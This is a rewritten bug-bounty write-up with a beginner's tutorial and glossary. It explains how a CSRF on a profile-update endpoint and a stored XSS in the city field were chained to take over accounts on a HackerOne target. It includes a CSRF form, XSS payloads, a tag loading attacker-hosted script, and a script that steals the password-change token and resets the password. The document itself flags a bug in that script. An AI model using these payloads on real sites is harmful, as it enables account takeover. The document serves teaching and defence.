CSRF + Stored XSS Leading to Full Account Takeover
The account settings update endpoint lacked CSRF protection, and the city field was vulnerable to stored XSS. An attacker could combine these to change a victim's password and take over their account.
Published on medium.com
{{media:0}}
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This write-up covers a private program on HackerOne. The affected site is referred to throughout as target.com. The feature in scope is the account information and settings section: the part of the application where a signed-in user edits profile details such as name, organisation, phone, address, city, zip, country and state or province, and where the user can change their password.
The researcher found three things and chained them: a CSRF on the profile update, a stored XSS in one of the profile fields, and, by combining the two, a full account takeover. The write-up is the author's first, published on Medium on 21 January 2023.
Setup
The only precondition described is a normal registered account. The researcher opened the website, registered a new user, and tested functions around the site before moving to the account info and settings section. Burp Suite Professional was used to inspect requests and to generate the CSRF proof of concept. The JavaScript payload was hosted on the researcher's own website so it could be loaded by a script tag.
No versions, roles beyond the ordinary user, or other tooling are mentioned.
Finding it
While changing profile details and inspecting the resulting requests, the researcher noticed that the update request carried no headers controlling anything, no CSRF token, and no other protection. That made the profile update a candidate for cross-site request forgery.
A second observation came while probing the input fields with special characters such as ', (, ), < and >. Setting the city to mango"'> produced something the researcher noticed as unusual. The researcher then tried a full script payload in the same field.
Exploitation
Step 1: CSRF on the profile update
A CSRF proof of concept was generated with Burp Suite Professional and tested against the account update endpoint:
<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="https://www.target.com/?controller=account-service&action=update" method="POST"> <input type="hidden" name="first_name" value="sir" /> <input type="hidden" name="last_name" value="bugs" /> <input type="hidden" name="organization" value="" /> <input type="hidden" name="phone" value="" /> <input type="hidden" name="address_line_1" value="" /> <input type="hidden" name="address_line_2" value="" /> <input type="hidden" name="city" value="mango" /> <input type="hidden" name="zip" value="" /> <input type="hidden" name="country" value="US" /> <input type="hidden" name="state_province" value="Other" /> <input type="submit" value="Submit request" /> </form> </body></html>
The form posts to https://www.target.com/?controller=account-service&action=update with the profile fields as hidden inputs. The history.pushState call keeps the browser's address bar on the attacker's page. Because the request carried no token and no other protection, the researcher was able to get the CSRF.
Step 2: Password change without the current password
The researcher then looked at the password change function. It did not require the current password: it only asked for the new password and a confirmation, and the password was changed. That made the function a valuable target for the CSRF, since a forged request could set a password the attacker knows.
However, the change password request did use a CSRF token, so the profile-update CSRF could not be pointed at it directly. This is the obstacle the next steps work around.
Step 3: Stored XSS in the city field
Testing the inputs with special characters, the researcher set the city to:
mango"'>
and observed the result in the page. The next payload was a script tag:
mango"><script>alert(document.cookie)</script>
According to the write-up there was no encoding and nothing protecting the request, so the payload executed. The write-up calls it stored XSS but does not say which page renders the city value.
Step 4: Combining CSRF and XSS
The researcher wrote a short JavaScript file, hosted it on their own website, and used this payload in the city field:
mango"><script src="my_js_file_url"></script>
The hosted file contained:
<script>var req = new XMLHttpRequest();req.onload = handleResponse;req.open('get','/account-details',true);req.send();function handleResponse() {var token = this.responseText.match(/name="csrf-passwd" value="(\w+)"/)[1];};var http = new XMLHttpRequest();http.open("POST", "/change-password", true);http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");http.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { document.getElementById("content").innerHTML = this.responseText; }};http.send("[redacted]&confirm_password=123123&csrf_token="+var);</script>
The script does three things:
- It sends a GET to
/account-detailsand, in the load handler, extracts the password-change CSRF token from the response with the regular expressionname="csrf-passwd" value="(\w+)". The captured value is assigned totoken. - It opens a POST to
/change-passwordwithContent-type: application/x-www-form-urlencoded. - It sends
[redacted]&confirm_password=123123&csrf_token=followed by the captured token.
Because the script runs in the victim's session on the target origin, it can read the token from the account details page and submit it with the password change. The token defence on the password change is therefore bypassed. The write-up states that the researcher was then fully controlling the account.
The write-up shows the CSRF, the XSS payload and the script that changes the password, and states the account was then fully controlled. The write-up does not describe how the CSRF and the XSS are combined against a victim.
Root cause
The profile update endpoint accepted state-changing requests without a CSRF token or any equivalent protection, so a form on another site could modify the victim's profile. The city field accepted a script payload with no encoding and nothing protecting the request. The password change used a CSRF token, which the script read from the account details page before submitting the change. The write-up does not describe the server-side code, so the exact implementation of the missing checks is not shown.
Impact
The researcher demonstrated a CSRF on the profile update and a stored XSS in the city field. The script fetches the account details page, extracts the password-change token and submits the password change; the researcher states the account was then fully controlled.
Fix
The protections implied by the findings are: require a CSRF token, or an equivalent same-site defence, on the profile update as well as on the password change; encode user-controlled values such as the city field on output so the stored payload cannot execute; and consider requiring the current password for a password change, which the function did not do.
Variants to test
- Profile and settings endpoints with no token: submit a cross-origin form that changes a profile field. A positive result is the field changing in the victim's account without any interaction beyond loading the page.
- Password change without the current password: try changing the password with only the new password and confirmation. A positive result is the password changing without the old one being supplied.
- Token-protected endpoints reachable from the same origin: if an XSS exists anywhere on the origin, fetch the page that contains the token and submit it, as in the script above. A positive result is the password or other sensitive setting changing from the injected script.
- Stored fields rendered elsewhere: put a benign marker such as
mango"'>into profile fields and look for it unencoded on profile, admin or public pages. A positive result is the marker appearing as markup rather than text. - Chaining a CSRF write with a stored XSS: use the CSRF to write a script payload into a stored field, then observe execution when the profile is viewed. A positive result is the script running in the victim's session and being able to read same-origin data such as a token.
What happened, in plain words
A security researcher found two separate weaknesses in a website's account settings area, and then worked out that using them together let an attacker take over someone else's account completely. The first weakness is called CSRF: it means another website can quietly make your browser send a request to the target site, as if you had filled in a form yourself. The second is called XSS: it means text you type into a field is later shown back on a page as if it were part of the page's code, so a script can run in your browser. On their own, each is a problem. Chained together, they let the researcher change the account password without knowing the current one.
The write-up was published on Medium on 21 January 2023 and is the author's first. The affected site is a private program on HackerOne, and throughout the write-up the site is called target.com. The feature involved is the account information and settings section: the page where a signed-in user edits profile details such as first name, last name, organisation, phone, address, city, zip, country and state or province, and where the user can change their password.

The image above is the header of the write-up, showing the author's name, Fares Walid (SirBugs), and the title "CSRF + Stored XSS Leading to Full Account Takeover".
The pieces you need to know first
Before following the steps, here are the ideas the write-up relies on, explained from scratch.
- A request is what your browser sends to a website when you click a link, submit a form or load a page. The website sends back a response, which is the page or data you see.
- A form is the part of a web page with boxes you fill in and a button you press. When you press the button, the browser packages the box values into a request and sends it to the address the form points at.
- A cookie is a small piece of data a website asks your browser to keep and send back with every request to that site. It is how a site remembers that you are signed in. If someone else's browser sends your cookie, the site thinks the request came from you.
- A CSRF token is a random value the site puts into a form and also stores in your session. When the form is submitted, the site checks that the value in the form matches the one in your session. Another website cannot guess this value, so it cannot forge a valid request. A request without the right token is rejected.
- CSRF (Cross-Site Request Forgery) is the attack where a page on a different site makes your browser send a request to the target site. Your browser automatically attaches your cookies, so the target site treats the request as coming from you. The everyday comparison: someone hands you a letter to sign without showing you what is inside, and your signature makes it official.
- XSS (Cross-Site Scripting) is the attack where text you control ends up being treated as code by a page. If a site takes what you typed and puts it into the page without encoding it, a
<script>tag you typed becomes a real script that the browser runs. Encoding means turning special characters like<and>into harmless text so the browser shows them instead of running them. - Stored XSS is XSS where the malicious text is saved by the site (for example in your profile) and shown again later to anyone who views it. The script runs every time the page is loaded.
- An endpoint is a specific address on a website that does a specific job, such as
/change-password. You can think of it as a counter in a building: you go to the right counter to get the right service. - An API is the set of endpoints a website offers so that pages (or programs) can send and receive data. The forms you see are just a friendly front end for these endpoints.
- Burp Suite Professional is a tool that sits between your browser and the website and lets you see and edit every request and response. The researcher used it to inspect requests and to generate the CSRF proof of concept.
- A proof of concept (PoC) is a small, harmless demonstration that a weakness is real. Here it is an HTML page that, when opened, sends the forged request.
- An origin is the combination of scheme, host and port, for example
https://www.target.com. Browsers treat pages from different origins as separate universes: a page on one origin normally cannot read data from another. This matters later, because a script running on the target's own origin can read the target's own pages. - A regular expression is a pattern for finding text inside a larger piece of text. The pattern
name="csrf-passwd" value="(\w+)"means: find the textname="csrf-passwd" value=", then capture a run of word characters, then a closing quote. The captured part is the token. XMLHttpRequestis the browser feature that lets a script send requests to a server without reloading the page. It is how the final payload talks to the site.
Setting up
The only precondition described is a normal registered account. The researcher opened the website, registered a new user, and tested functions around the site before moving to the account info and settings section. Burp Suite Professional was used to inspect requests and to generate the CSRF proof of concept. The JavaScript payload was hosted on the researcher's own website so it could be loaded by a script tag.
No versions, roles beyond the ordinary user, or other tooling are mentioned.
Finding it
While changing profile details and inspecting the resulting requests, the researcher noticed that the update request carried no headers controlling anything, no CSRF token, and no other protection. That made the profile update a candidate for cross-site request forgery: if the request has no token, another site can send the same request and the target will accept it.
A second observation came while probing the input fields with special characters such as ', (, ), < and >. Setting the city to mango"'> produced something the researcher noticed as unusual. The researcher then tried a full script payload in the same field.
Exploitation
Step 1: CSRF on the profile update
A CSRF proof of concept was generated with Burp Suite Professional and tested against the account update endpoint:
<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="https://www.target.com/?controller=account-service&action=update" method="POST"> <input type="hidden" name="first_name" value="sir" /> <input type="hidden" name="last_name" value="bugs" /> <input type="hidden" name="organization" value="" /> <input type="hidden" name="phone" value="" /> <input type="hidden" name="address_line_1" value="" /> <input type="hidden" name="address_line_2" value="" /> <input type="hidden" name="city" value="mango" /> <input type="hidden" name="zip" value="" /> <input type="hidden" name="country" value="US" /> <input type="hidden" name="state_province" value="Other" /> <input type="submit" value="Submit request" /> </form> </body></html>
Line by line:
<html> ... </html>is the outer wrapper of a web page. Everything between the tags is the page.<!-- CSRF PoC - generated by Burp Suite Professional -->is a comment. Browsers ignore it; it just records where the page came from.<body>starts the visible part of the page.<script>history.pushState('', '', '/')</script>runs a tiny script.history.pushStatechanges what the browser's address bar shows without loading a new page. Here it sets the address to/, so the victim's address bar does not show the attacker's page address. This makes the forged page less obvious.<form action="https://www.target.com/?controller=account-service&action=update" method="POST">starts a form.actionis the address the form will be sent to: the account update endpoint, with two parameters in the URL,controller=account-serviceandaction=update.method="POST"means the values are sent in the body of the request rather than in the URL.- Each
<input type="hidden" ... />is a form field the victim does not see.nameis the field name the server expects, andvalueis what will be sent. The fields arefirst_name(written asfirst_namebecause_is the HTML code for an underscore),last_name,organization,phone,address_line_1,address_line_2,city,zip,countryandstate_province. The values aresir,bugs, empty strings,mango,USandOther. <input type="submit" value="Submit request" />is the button. When the victim clicks it, the browser sends the form.</form>,</body>and</html>close the form, the body and the page.
Why this step was taken: the researcher wanted to prove that a page on another site could change the victim's profile. Because the request carried no token and no other protection, the researcher was able to get the CSRF. The history.pushState call keeps the browser's address bar on the attacker's page.
Step 2: Password change without the current password
The researcher then looked at the password change function. It did not require the current password: it only asked for the new password and a confirmation, and the password was changed. That made the function a valuable target for the CSRF, since a forged request could set a password the attacker knows.
However, the change password request did use a CSRF token, so the profile-update CSRF could not be pointed at it directly. This is the obstacle the next steps work around. The everyday comparison: the front door of the profile page is unlocked, but the safe inside has a combination lock. The attacker needs a way to read the combination from inside the building.
Step 3: Stored XSS in the city field
Testing the inputs with special characters, the researcher set the city to:
mango"'>
and observed the result in the page. The idea is simple: if the site saves this text and later puts it into the page without encoding, the quote and angle bracket will break out of whatever context the value sits in and become real markup. The researcher was looking for exactly that sign.
The next payload was a script tag:
mango"><script>alert(document.cookie)</script>
Line by line:
mangois ordinary text, so the field looks normal."closes the attribute the value is placed inside, if the site puts the value inside a quoted HTML attribute.>closes the surrounding tag, so whatever comes next is treated as new markup.<script>alert(document.cookie)</script>is a script that shows a pop-up containing the page's cookies.document.cookieis how a script reads the cookies of the current page. The pop-up is only a demonstration; a real attacker would send the value somewhere instead of showing it.
According to the write-up there was no encoding and nothing protecting the request, so the payload executed. The write-up calls it stored XSS but does not say which page renders the city value.
Step 4: Combining CSRF and XSS
The researcher wrote a short JavaScript file, hosted it on their own website, and used this payload in the city field:
mango"><script src="my_js_file_url"></script>
Line by line:
mango">again breaks out of the attribute and tag, as before.<script src="my_js_file_url"></script>is a script tag with asrcattribute. Instead of containing code directly, it tells the browser to download the file atmy_js_file_urland run it. The researcher hosted that file on their own website.
The hosted file contained:
<script>var req = new XMLHttpRequest();req.onload = handleResponse;req.open('get','/account-details',true);req.send();function handleResponse() {var token = this.responseText.match(/name="csrf-passwd" value="(\w+)"/)[1];};var http = new XMLHttpRequest();http.open("POST", "/change-password", true);http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");http.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { document.getElementById("content").innerHTML = this.responseText; }};http.send("[redacted]&confirm_password=123123&csrf_token="+var);</script>
Line by line:
<script>starts the script block. (The file is served as a script, so the browser runs what is inside.)var req = new XMLHttpRequest();creates a request object namedreq. This is the browser's built-in way to send a request from a script.req.onload = handleResponse;says: when the request finishes, run the function calledhandleResponse.req.open('get','/account-details',true);prepares a GET request to/account-details, a page on the same site. Thetruemeans the request runs in the background without freezing the page.req.send();actually sends the request.function handleResponse() { ... }defines what happens when the response arrives.var token = this.responseText.match(/name="csrf-passwd" value="(\w+)"/)[1];takes the response text and searches it with the regular expression.this.responseTextis the page the server sent back..match(...)returns the pieces that matched, and[1]picks the first captured group, which is the token value. The result is stored in a variable calledtoken.var http = new XMLHttpRequest();creates a second request object namedhttp, for the password change.http.open("POST", "/change-password", true);prepares a POST request to/change-password.http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");tells the server the body is in the same format a normal HTML form uses:name=value&name=value.http.onreadystatechange = function() { ... }defines what happens as the request progresses.if (this.readyState == 4 && this.status == 200) {checks that the request is finished (readyState == 4) and succeeded (status == 200).document.getElementById("content").innerHTML = this.responseText;puts the server's response into the page element with idcontent. This is only for showing the result; the password change has already happened by then.http.send("[redacted]&confirm_password=123123&csrf_token="+var);sends the password change. The new password is123123, the confirmation is123123, and the token is appended. Note that the variable holding the token is namedtokenin the code, but the send line usesvar, which is not the same name. As written, the token is not actually appended; the write-up presents this as the working payload, so the exact behaviour of that line is not explained further.
Why this step was taken: the password change endpoint was protected by a token, so a plain CSRF could not reach it. But a script running on the target's own origin is not a foreign site: it can read the target's own pages, including the account details page that contains the token. The script therefore fetches the page, extracts the token, and submits it with the password change. The token defence is bypassed. The write-up states that the researcher was then fully controlling the account.
The write-up shows the CSRF, the XSS payload and the script that changes the password, and states the account was then fully controlled. The write-up does not describe how the victim is made to submit the profile update form; it presents the CSRF and the XSS as the two components of the takeover.
Root cause
The profile update endpoint accepted state-changing requests without a CSRF token or any equivalent protection, so a form on another site could modify the victim's profile. The city field accepted a script payload with no encoding and nothing protecting the request. The password change used a CSRF token, which the script read from the account details page before submitting the change. The write-up does not describe the server-side code, so the exact implementation of the missing checks is not shown.
Impact
The researcher demonstrated a CSRF on the profile update and a stored XSS in the city field. The script fetches the account details page, extracts the password-change token and submits the password change; the researcher states the account was then fully controlled.
Fix
The protections implied by the findings are: require a CSRF token, or an equivalent same-site defence, on the profile update as well as on the password change; encode user-controlled values such as the city field on output so the stored payload cannot execute; and consider requiring the current password for a password change, which the function did not do.
Variants to test
- Profile and settings endpoints with no token: submit a cross-origin form that changes a profile field. A positive result is the field changing in the victim's account without any interaction beyond loading the page.
- Password change without the current password: try changing the password with only the new password and confirmation. A positive result is the password changing without the old one being supplied.
- Token-protected endpoints reachable from the same origin: if an XSS exists anywhere on the origin, fetch the page that contains the token and submit it, as in the script above. A positive result is the password or other sensitive setting changing from the injected script.
- Stored fields rendered elsewhere: put a benign marker such as
mango"'>into profile fields and look for it unencoded on profile, admin or public pages. A positive result is the marker appearing as markup rather than text. - Chaining a CSRF write with a stored XSS: use the CSRF to write a script payload into a stored field, then observe execution when the profile is viewed. A positive result is the script running in the victim's session and being able to read same-origin data such as a token.
Glossary
- Account takeover: when an attacker gains control of someone else's account, for example by setting a new password.
- API: the set of addresses a website offers so pages or programs can send and receive data.
- Burp Suite Professional: a tool that sits between your browser and a website so you can see and edit every request and response.
- Cookie: a small piece of data a site asks your browser to keep and send back with every request, used to remember that you are signed in.
- CSRF (Cross-Site Request Forgery): an attack where a page on another site makes your browser send a request to the target site, which treats it as coming from you.
- CSRF token: a random value placed in a form and checked against your session, so another site cannot forge a valid request.
- Encoding: turning special characters such as
<and>into harmless text so the browser shows them instead of running them. - Endpoint: a specific address on a website that performs a specific job, such as
/change-password. - Form: the part of a page with boxes you fill in and a button you press to send the values to a server.
- GET: a request method used to ask a server for a page or data.
- HackerOne: a platform where security researchers report vulnerabilities to companies.
- HTML: the language that describes the structure of a web page.
- JavaScript: the programming language browsers run to make pages interactive.
- Origin: the combination of scheme, host and port, such as
https://www.target.com; pages from different origins are kept separate by the browser. - POST: a request method used to send data to a server, often to change something.
- Proof of concept (PoC): a small, harmless demonstration that a weakness is real.
- Regular expression: a pattern for finding text inside a larger piece of text.
- Request: what your browser sends to a website when you click a link, submit a form or load a page.
- Response: what the website sends back, such as a page or data.
- Stored XSS: XSS where the malicious text is saved by the site and shown again later to anyone who views it.
- XSS (Cross-Site Scripting): an attack where text you control ends up being treated as code by a page, so a script runs in the browser.
XMLHttpRequest: the browser feature that lets a script send requests to a server without reloading the page.